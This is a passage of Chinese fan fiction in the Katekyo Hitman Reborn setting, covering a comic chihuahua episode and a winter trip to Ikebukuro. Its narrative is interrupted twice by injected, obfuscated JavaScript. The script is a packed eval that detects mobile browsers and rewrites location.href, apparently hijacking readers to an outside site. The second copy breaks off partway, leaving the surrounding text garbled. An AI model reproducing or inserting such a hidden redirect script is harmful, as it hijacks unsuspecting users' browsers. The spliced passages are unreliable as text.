“‘长出来’这个形容好诡异……见崎家有养狗的打算吗?”沢田纲吉问。 “没。” “那你到哪里找狗喂?这附近难道有流浪犬吗?之前从来没见过。” “是熟人哦!唔……熟狗。”祢祢说。 “……熟狗这个形容也很奇怪啊!” 几分钟后…… 沢田纲吉神色僵硬:“……这就是你口中的‘熟狗’吗?” 祢祢笑了起来:“你就说熟不熟吧——不准跑啦!!” “…………” “是挺熟的嘛。”山本武凑过来,“这是那只经常陪着阿纲晨跑的小狗吧?” 祢祢重重点了点头:“这么长久的陪伴,真是叫人感动啊!在阿纲交不到朋友的时光里、在阿纲因考了17.5分落寞地行走在街道上的日子里,只有它在锲而不舍地追逐着他、陪伴着他——真是感人肺腑的情感啊!!作为阿纲的新朋友,我们应该感谢它。” “……什么鬼?!还有我们已经认识大半年了吧?!还算‘新朋友’??”沢田纲吉吐槽。 祢祢没理他:“让我们一起大声喊出声——吉娃娃君——话说它是男孩还是女孩呀?” 山本武摇摇头:“不知道诶……应该是男孩子吧?” “就当是男孩子吧——如果是女孩子,那我可真的要狠狠谴责一下阿纲你了,怎么能让女孩子一直追着你呢?太没有绅士风度了!Reborn绝对会飞起来敲你的!!” “……为什么要我跟狗讲绅士风度??而且刚刚不是说了它是男孩吗?他为什么不能对我讲点绅士风度???” 祢祢神色欣慰:“呀!看它多喜欢你——想扑过来拥抱你呢!听说喜欢一个人的表现就是想一直和他贴在一起!” “……这个不适用在现在的情况吧??!快放开我!它要扑上来了啊!!!” “区区吉娃娃而已……上吧!彭格列十代目!咬杀它!!” “啊啊啊啊啊,你不要用这种语气说话啊!!” “哈?!十代目也是你能叫的?!” …… “阿纲……你……喘得……好厉害……是不是……体虚……” “呼……你有资格说我吗?” “……好弱。” 祢祢捧读:“……比不上狱寺你还真是叫我感到羞愧呢。” 花了几分钟平复呼吸,祢祢又不甘寂寞地开了口:“阿纲你怎么回事?怎么一见到吉娃娃君就忍不住想要逃走呢?真是容易害羞。” 沢田纲吉:“……逃走为什么会自然而然地被你跟‘害羞’扯上关系呢??” 祢祢:“不要因害羞退缩啦!吉娃娃酱也很喜欢你哦?一直在大声叫你——” 沢田纲吉:“听说喜欢一个人就是忍不住想要喊他的名字——对吧?话说为什么你三言两语间就给吉娃娃变了个性啊!!” 祢祢不高兴:“阿纲你居然抢我台词!!你学坏了!!” 沢田纲吉:“……你居然真的想这么说——重点是不是抓错了??” 虽然学会了抢台词,但沢田纲吉仍旧没有忘却自己吐槽役的使命:“但是它一直在‘汪汪’叫……你难道听得懂它在喊我的名字??” “是的。”她郑重其事地点了点头,“因为阿纲你并没有告诉她自己的名字,所以吉娃娃酱一直以为你叫‘沢田阿汪’呢!” “……那是什么鬼?!!” 恭喜玩家打出恋爱支线be结局——未被知晓的真名。 “——谁要和一条狗打出恋爱be结局啦 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|14951442|155618||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ?!!” 祢祢:“阿纲难道以为自己是恋爱小天才,可以一命打出恋爱he吗?呵……不自量力的草食动物。” “……请不要再模仿云雀前辈讲话了!!”沢田纲吉说,“还有,你的意思是我需要死一次才可以和那只吉娃娃打出恋爱he吗?!” 祢祢惊讶的看着他:“诶,阿纲你难道真的想要和吉娃娃酱打出恋爱he吗?” 沢田纲吉:“……我没有说过这种话。” 祢祢拍手,转移话题说:“嘛!不要说这些乱七八糟的话了——我们勇敢一点,去投喂吉娃娃君吧!” 沢田纲吉:“……又给它做了一次变性手术么。” 她侧头看他:“阿纲你好像对性别这件事很在意?难道你是更喜欢吉娃娃女孩而不是吉娃娃男孩么……嘛,人之常情。” 沢田纲吉:“……嗯?”他说,“什么人之常情啊?!” 但最后,吉娃娃君还是没有品尝到‘曲奇’,因为…… “——狗狗真的可以吃那么多糖分吗?” 祢祢欲要去挠沢田纲吉咯吱窝的手顿时停了,看向发出问话的山本武,陷入了沉思。 “……” “……可以吗?”她侧头小声问。 沢田纲吉摇摇头:“不知道。” “狱寺君?”她歪头。 “糖对狗狗来说并不是必要的营养物质。”他推了推鼻梁上不知道什么架上去的眼镜,看着很是正经严肃:“摄入过多的糖可能会对他们造成肥胖、蛀牙、糖尿病……等负面影响。” “哦——!!” 祢祢拍掌叫好:“不愧是狱寺你!真是博学呢!” “哼!这还用你说!我可是十代目的左右手!” “……” “所以这些该怎么处理呢?”祢祢有些为难地皱起了眉,“难道真的要让这些迷人的……呃……小垃圾进入阴湿肮脏充满病菌的下水道吗?” 沢田纲吉:“好割裂的形容……话说你为什么会觉得它会进入下水道呢?按常理说不是应该被丢进垃圾桶吗?” “因为世界上本来就有很多不符合常理的事情发生——阿纲,你要早点适应这个残酷的世界才行。”她深沉地说。 沢田纲吉:“……为什么要在讨论丢垃圾的时候说这种严肃的话啊!!” 祢祢:“还是把这个喂给那只吉娃娃吧。” “……话题跳得好快。”沢田纲吉说,“可狱寺君不是说过狗狗不能吃那么多糖了吗?” “那只吉娃娃不是总是欺负你吗?”祢祢笑得很邪恶:“桀桀桀……我要让那只蠢狗知道我们沢田阿纲不是它那种家伙有资格追逐的男人。” “——噫!!好邪恶!!!”沢田纲吉后仰了下上身,“明明刚刚还很亲密的喊‘吉娃娃君’‘吉娃娃酱’,怎么突然就变成蠢狗了??不是说要感谢它吗?!?” 山本武感慨:“真不愧是封印了邪神的勇者的转世啊!” 沢田纲吉:“?你们在说什么不通逻辑的话??” 祢祢却幡然醒悟:“对!” “身为勇者转世的我可是之后会拯救世界的女人!在我面前,不允许任何邪恶欺凌弱小!!” 她伸手一指:“阿纲你也不可以!!我会拼死守护吉娃娃酱的!!” 沢田纲吉:“…………” 刚刚明明是你发出桀桀怪笑并发表反派宣言的啊喂!!! ……总之,最后那袋烤坏掉的‘曲奇’既没有被吉娃娃吃掉也没有进入下水道,而是如沢田纲吉所言,很符合常理地被丢进了垃圾桶。 这实在是太不酷了。 沢田纲吉扯了扯嘴角:“把烤坏的马卡龙丢进下水道难道就是件很酷的事了吗?” 祢祢大声:“不是马卡龙!是Macaron曲奇!” “……不过把它们丢进下水道好像真的不是什么很酷的事诶……”她叹了口气:“好无聊哦,我想要做一些酷点的事。” 她又发出反派怪笑:“桀桀桀……比如对弱小可怜的废柴阿纲进行恶作剧。” 沢田纲吉崩溃捂脸:“这哪里酷了?!我难道是你的玩具吗?!!” 祢祢缓缓睁大了眼,恍然大悟:“啊,原来阿纲你想要成为我的玩具吗?真是特殊的癖好呢……不过想要被美少女玩弄也在情理之中。” “……” 沢田纲吉惊恐后退:“不!!我没说过这种话!!!” 36.Misaki还是Misaki 寒假,祢祢要跟着美佐纪回池袋看望外公外婆。 和上次一样的场景,车站,还有朋友。只不过是换了个季节,朋友也要比上次多一些。 “这就是羁绊吧!” 祢祢感叹说,呼出的气在冬日冰冷的空气中凝成水雾。 “不要担心,我会在新年前平安回来的。” “……说得好像要去做什么九死一生的危险任务一样。” 即使是在那么冷的天气里,沢田纲吉也依旧坚守着自己吐槽役的岗位,真是值得敬佩。 “好冷啊。”祢祢说,把手贴上他温热的脖颈。沢田纲吉被刺得发出“噫!!”的一声低叫,下意识朝后仰了下身体,身上起了层鸡皮疙瘩。狱寺隼人喊着“十代目”冲上来,被一旁的山本武扯着肩膀熟练的拦下,然后熟练的发表“嘛嘛,都是朋友之间的游戏而已啦”之类的话。 祢祢收回贴着沢田纲吉脖子的手,扭身,又没骨头般挂到一旁的笹川京子身上,笑眯眯看着面前的场景,像只幸灾乐祸的猫。 等到那边好不容易安静下来,她又抱怨般地开口:“明明是来为我送行的,但你们看上去却自顾自玩得很开心呢。” “你们关系真好。我好嫉妒哦。” “可你的语气听上去很像在看热闹啊……”这个是已经将吐槽纳入习惯的沢田纲吉。 “啊,让祢祢感到不高兴了吗?真是抱歉,我保证没有下次了!”这个是笑得很诚恳的山本武。 “笨蛋!谁跟这个棒球白痴关系好了?!”这个是很容易炸毛的狱寺隼人。 祢祢感慨:“狱寺……你连说两个‘笨蛋’真的好像绕口令哦……真是可爱呢。” “……混蛋!!” “刚刚是不是迟疑了一下?是在害羞吗?” “祢祢!见崎同学!拜托!请不要再说了!!” 场面再次乱起来,祢祢抿了抿唇,实在忍不住,克制地笑了起来——动作幅度大怕自己被冻得发干的嘴唇裂开。会疼。她不要。 “我快要被冻成冻干了。”她抱怨说。蹲下身来,环抱住自己,看见自己呼出的气凝成比方才小上许多的雾。她都要适应外面的低温了。 山本武见此,也学着她的样子,抱膝蹲下身,然后磨蹭着地面朝她的方向移动了几步,抬手贴了贴她的脸颊:“祢祢,你好凉呀。” “已经不是凉的程度了。” “要更严重些……应该是‘冰’才对。”她下意朝后识躲了下,然后又贴了回去:“国语学得不太好哦,山本同学——不过你身上倒是挺暖和的。这就是运动系么,冬天不怕冷?” “哈哈,我确实比较耐寒……大概是经常运动,所以身体好?” 祢祢想了想:“啊!好像是经常看见你晨练来着。真是有毅力,我就绝对坚持不来这个。” “我可以监督祢祢你哦,要不要跟我一起?说不定以后也会变得不怕冷哦。” “不要。” 结果很诱人,但祢祢斩钉截铁的拒绝了他的提议。 晨练什么的……肯定要起很早吧? 夏天就算了,在冬天是要杀人的程度吧?她肯定做不到的。答应了的话再失约也太差劲了。 “那好吧……” 他很失落般地叹了口气:“真是遗憾。” 明明没有那么失落吧?都没有装好,眼睛里还装着笑呢。 背景是惨白的天与苍白的雪,被这些东西映衬着,他的眼睛看上去更亮了。 “真是抱歉呢,阿武。” 于是她的道歉也没怎么动心思,学着他方才的语气,佯装诚恳。手倒是动了,贴着他的汲取温度,“下次请你吃寿司赔礼好了。” “到哪儿吃?”他饶有兴致的模样。 “竹寿司。” “好呀——不过确定不是我请客吗?上次也是这样哦。” “啊……我的秘密……被发现了么。那就只能把你灭口了。” “好邪恶。”他评价。 “我的挚友可是杀人不眨眼的黑手党boss,你跟我谈善恶?呵……真是天真。” “嘛,看来是我大意了。那这次就愿赌服输,被祢祢你收割一次生命吧。” “……你们俩的话题能不能正常点?而且我才不是黑手党!!” “哈?你这小子居然偷偷我们说话?小命不想要了?山本!上!咬杀他!!” “是!大姐头!!” “噫?!” 沢田纲吉发出一声尖叫,躲开对方虚张声势的攻击,顺便拦住想冲上来的狱寺隼人,动作熟练得叫人……想笑。 于是祢祢又偷偷笑了。 ……你对‘偷偷’是不是有什么误解啊?!很明显好吗?! 沢田纲吉瞪了她一眼。 “……这次又是什么剧本?” “不良头头和她的小弟。” 祢祢很诚实。 “那为什么说话语气那么像云雀前辈啊?!” “因为云雀前辈是我见过最帅气威风的不良头头嘛,当然要向他学习咯。” “……不要用这么理所当然的语气说这种话啊!!” “略略略——” 她朝他做了个鬼脸,然后很快后悔了。 冬日冰凉干燥的空气让刚刚被自己向下扯的下眼皮迅速变得干涩,连眨眼都变得艰难而痛苦,那种磨砺的感受堪比山本武全是茧子的手。 总之不舒服,也不会像山本武的手一样让她暖和起来。 她情绪降了下来。慢吞吞起身,掌根揉着眼,触感冰凉。她于是悻悻放下手,寻思着要是暖和一些大概会好受些,但山本武的手又糙又硬,肯定不舒服,而且请求对方揉自己的眼睛就算是作为朋友好像略微有些过界? “男孩子们真是的……也太闹腾了。” 祢祢说着,将下巴搁到笹川京子肩头。 她其实还想再凑近些,借她的体温熨一下自己的眼皮,但又觉得女孩子的免疫力可能比男孩的要差些,自己脸上肯定不算暖和,说不定会不小心让她着凉,只好作罢。 “明明是分离这种悲伤的时间,但却像是在表演滑稽喜剧一样呢……一点冬日氛围也没有。” 沢田纲吉:“……明明是你先把气氛往喜剧片的方向带的吧?” “不关我的事。” “……又开始逃避责任了么,见崎同学。” *** 祢祢将被暖气熏得发烫的脸抵到冰冷的玻璃窗上散热,呼出的热气在窗玻璃上形成一层朦胧的雾气,她抬手,折指夹住毛衣袖口,用腕部的衣料将其拭去。 透过透亮湿润的玻璃,她看见窗外飞速掠过的景致。 昨夜下了雪,今早醒时却又停了,但依旧留下了自己存在过的痕迹。 白茫茫软绵绵的雪,落在地上像大房间里铺着厚地毯,落在秃枝上像巧克力上撒了糖霜,落在行人身上像泡沫没冲干净的小孩。 今日的日光并不充足,但雪色白而亮,造成了‘今天天色其实很好’的错觉,但其实只要抬头,就能看见飘浮着的低沉的云与天,像是即将落雪般苍茫美丽。 ……或许的确是快下雪了吧? “真漂亮啊……” 她忍不住感叹道。 美佐纪闻言,扭头看她,“祢祢酱还是很喜欢雪吗?” “对哦。” 祢祢点头,“雪很漂亮不是吗?” “是很漂亮没错,但也不能太激动哦~”美佐纪说,“外面还是很冷的,小心感冒。” “知道啦——!” 上次来池袋,还是在上次。 大约是半年前……? 就算半年吧,再细算好麻烦的。 总之是夏天的时候、暑假。 一次和现在一样是去看望外公外婆,一次是去找寻奇妙书屋的秘密。后来知道那个书屋在并盛也有之后就没花废心力去找寻了。麻烦。 屋里暖气开得很足,祢祢的身体很快暖和起来,懒洋洋瘫进沙发昏昏欲睡。然后被神间外公拍醒了。 “干嘛呀……” 她费力地将眼睛撕开一条缝,不情不愿的说道。 “不去帮美佐纪他们吗?” 神间老头一点也不委婉含蓄,不近人情的面孔看上去很是冷酷,不算亮的立灯下,他遍布皱纹的脸上甚至有几凶恶狰狞。 ……也不知道当年是怎么娶到外婆的。 祢祢很不敬地臆测起长辈的事来,觉得大概是因为现在已经看不出来的脸。客厅桌台上的合照上,年轻的神间外公长得还蛮俊俏的。 “再想些乱七八糟的就出去扫雪。” 她脸上的情绪向来不加掩饰,眼尖如神间外公一眼就看出她没想什么好东西,再次开口,十分冷酷无情。 “帮什么?” 于是,在他的威压下,祢祢心不甘情不愿的起了身。 “做饭。”神间外公言简意赅。 祢祢愣:“啊……?我不擅长这个诶,要不……我给您做份焦糖布丁?” 神间外公嫌弃:“只有你们这些小孩才喜欢那些甜兮兮的东西……我都多大岁数了,再吃就掉牙了。” “哎呀,外公您还年轻得很呢!”她谄媚地说。 神间外公看她一眼,说:“像你这样的,一看就是那种喜欢那些甜兮兮东西的孩子。” 祢祢愣声:“……嗯?” 神间外公:“嘴甜。” “……” 她僵硬地牵了牵唇角:“外公……您真幽默……” 冷笑话也是您追求到外婆的拿手招式吗? 神间外公撇嘴:“别嘴贫了,去玩你的吧——打扰我看书。” “好咧!那我走啦!外公您慢慢看!” “……哼。” 祢祢回了自己在二楼的卧室。 她并不常来这儿住,只有寒暑假期间会跟着美佐纪回来待几天。 她开了灯,房间被收拾得很好,但过分空荡,没什么装饰摆设,书架也很空,零零散散或竖或立,摆着几本落了层薄灰的书。 她伸手取了本,发现是暑假那次带的那本《明明已经有了我这么可爱的未婚妻,他却还是喜欢上了其他女孩》。 上面落了层浅浅的灰,祢祢看着很不顺眼,于是伸手抽了两张手巾,一张干擦一张湿擦,那本不算厚的文库本很快暴露出原来洁净又眼熟的真面目来。 制服穿得一丝不苟的美少女,黑而直的头发,凤眼狭长美丽,神色冷淡,眼神倨傲,抱着书的右臂上别着‘生徒会’的红袖章。 祢祢还记得她的名字是‘百合子’,虽然外表为冰山高冷女神,但其真实属性为不会脸红的毒舌傲娇大小姐,男主是她青梅竹马的未婚夫,然后他俩be了,因为男主角爱上了天降外国美少女——贝……贝莉、丽芙什么来着……? 祢祢记不太清了,但此天降女二是个超经典的金发碧眼的双马尾傲娇。 这本轻小说的第一主角是百合子……虽然她没有得到爱情,但第一视角是她。 祢祢对此感到疑惑——明明是以百合子为第一视角,为什么还要让她输掉呢?她一开始还以为金毛女二是出来推动感情线发展的,毕竟男女主都不是什么坦率的人,需要一些外力来助力也是无可厚非的。 而且第一视角是百合子这个设计实在是太有迷惑性了。毕竟她是第一视角、是这个故事的第一主角,主角怎么能输呢……真不知道这本书的受众在哪儿…… 难不成是跟她一样的、对云雀恭弥爱而不得的痴心少女的代餐?但云雀恭弥这家伙还没有那么臭名昭著到这种地步吧? 祢祢笑了下,坐在床沿边漫不经心地翻了几页。 她没有重读的打算。毕竟当时买这本书就是因为女主角封面人设很像她当时的暗恋对象,云雀恭弥而已。 她其实不太满意这个结局来着。 并不是所谓青梅党或者天降党,只是因为第一视角是百合子,以她的视角观察世界,围观她的生活与日常,所以难免偏袒一些罢了。既然有偏向,不合心意自然就会不高兴了。 祢祢慢悠悠翻着书页,没这么看字,只慢吞吞将插画打量了一番。 ……其实主角三人都是很好的人,无论是百合子,还是男主角卓也,亦或者天降女二贝芙莉(经过刚刚的重温祢祢已经重新想起了她的名字),都什么没错,女主女二甚至都没怎么交锋过,和男主的婚约也没大范围传开,解除对两人的私人影响也没多大。 这样也挺好的。 祢祢想着,将文库本放回原位,又看了看其他书的书脊,发现是一些诗选童谣类的厚书。装在厚书盒里的北原白秋童谣集看上去能砸死人。 旁边的西条八十诗选同理。 这显然不是祢祢喜好的类型。她盯了那套书半晌,看 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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她蹑手蹑脚地下楼,尽量不发出声音。却还是被神间外公发现了。 ……年纪这么大了不仅没耳背还那么尖?真不可思议。 “干什么去?”他老花镜后的目光锐利,祢祢霎时便像被猫盯上的老鼠般僵住不敢动弹了。 神间外公蹙着眉随着她移动的方向看,眉头蹙得更紧了。祢祢几乎有些忧心他额头上的纹路是不是通往异世界,因为它们看上去真的很深。 “你要进厨房?马上要吃饭了,用不着吃你那甜兮兮的焦糖布丁。” 祢祢:“?我没有想要吃焦糖布丁啊!”她解释,“我想去找美佐纪他们。” 神间外公眉头松了些:“美佐纪?她在外面。” 于是祢祢就到外面去了。 美佐纪果然在外面,坐在铺了软垫的石阶上,怀里揣着热水袋。不远处是正在扫雪的贤太郎。 祢祢忍不住多看了两眼。神间外公明明说这个任务是布置给她的。 当然,她不会做就是了。 “他还挺懂事的。” 祢祢评价说,在美佐纪身旁蹲下,感觉自己在房间里被晕热的脸颊在缓缓冷却下来,脑袋在降温后也清醒了不少:“对了,外公不是说你们在做饭吗?怎么在外面玩?” “嗯?”美佐纪像是看入了神,听到问话才将将回神,脸上甜蜜明媚的笑意还没来得及收起来。 祢祢顿时露出‘被恶心到了’的夸张神色,嫌弃地皱了皱鼻子。 美佐纪没有丝毫自觉,笑眯眯地回答了她刚刚的问题:“今晚吃火锅呀,还需要准备些什么呢?备好菜就够了吧?” 祢祢:“那神间老头子还叫我给你们打下手?在玩我么。” “哎呀!或许只是想让你清醒一下?你知道的,他不怎么会说话。” 美佐纪笑了笑,又说:“老傲娇。” “……被他听到一定又会说你的。” “无所谓啦……他现在听不到的嘛。”美佐纪说,又将视线投向院子里除雪的贤太郎。 祢祢的视线于是也跟着游荡过去:“他喜欢扫雪?” 见崎家的雪也是他除的。 “不是。是老傲娇的任务。” 神间外公不太喜欢贤太郎。这是件理所当然的事,就算优秀成功如美佐纪的前夫,绫濑先生,他也是不喜欢的。 他极力反对美佐纪和贤太郎再婚,从外貌家世数落到名字姓氏。 名字姓氏这个还挺好玩的。 美佐纪(Misaki)和见崎(Misaki)同音,如果她要嫁给贤太郎,改姓的话不就是‘Misaki Misaki’了?奇怪死了。而且一点也不可爱←这是神间外公原话。 另一个当事人,贤太郎弱弱举手说:那个……其实可以不改姓的…… 然后被针锋相对的神间父女给一致忽视。 祢祢当时心里也无语死了:她曾经听美佐纪说过,自己出生的时候神间外公想给她起名‘未咲(Misaki)’,同样与美佐纪(Misaki)同音。 不过这被美佐纪给极力反对了:哪有母女同名的?奇怪死了。而且一点也不可爱。 怎么不可爱了?! 神间外公当即拍案而起,就‘Misaki’这个名字到底可不可爱与美佐纪展开辩论。 后来,美佐纪胜利了。于是她的名字不是‘未咲’而是‘祢祢’。 再后来,美佐纪依旧胜利了。而为了驳神间外公的面子,祢祢最终还是成了‘Misaki’。 …… 美佐纪和贤太郎二人世界祢祢不想破坏,于是找了个借口溜出了门:“还要在池袋待一段时间吧?我出去买几本书。太无聊了。” 虽然是随口扯的借口,但也的确是事实就是了。 “知道啦——记得在天彻底黑掉前回来哦。” “知道了。” “钱有没有带够啊?” “够了,我走了哦。” “一路顺风——” …… 今天不是星期四,就算在街上晃半个小时也不会经过角落书屋。但因为实在是不知道该往哪儿走,祢祢也就遵循着之前在并盛的规律——没有规律地胡乱转悠了。 然后她突然意识到这样转悠其实特别容易迷路。 池袋可要比并盛大上不少,地形也要更加复杂。 但等祢祢反应过来的时候,就发现自己已经记不太清来时路了。 ……没关系,有雪。 循着来时脚印肯定能回去的…… 她回首,就看见身后的雪路被行人踩踏得凌乱脏污,根本分辨不清哪条是她的。 祢祢:“…………”